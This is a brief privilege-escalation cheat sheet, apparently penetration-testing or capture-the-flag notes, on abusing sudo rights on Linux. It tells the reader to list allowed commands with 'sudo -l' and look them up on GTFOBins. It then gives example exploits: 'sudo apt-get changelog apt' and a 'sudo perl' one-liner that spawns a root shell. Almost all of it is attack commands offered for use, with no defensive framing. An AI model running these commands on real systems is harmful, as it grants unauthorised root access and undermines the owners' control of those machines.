Abusing Sudo

1

List allowed commands for current user

sudo -l

2

Base on the commands allowed search the internet

https://gtfobins.github.io/#+sudo

3

Exploit

EXAMPLE:

sudo apt-get changelog apt

sudo perl -e 'exec "/bin/sh";'

4

Enter command in newly spawned shell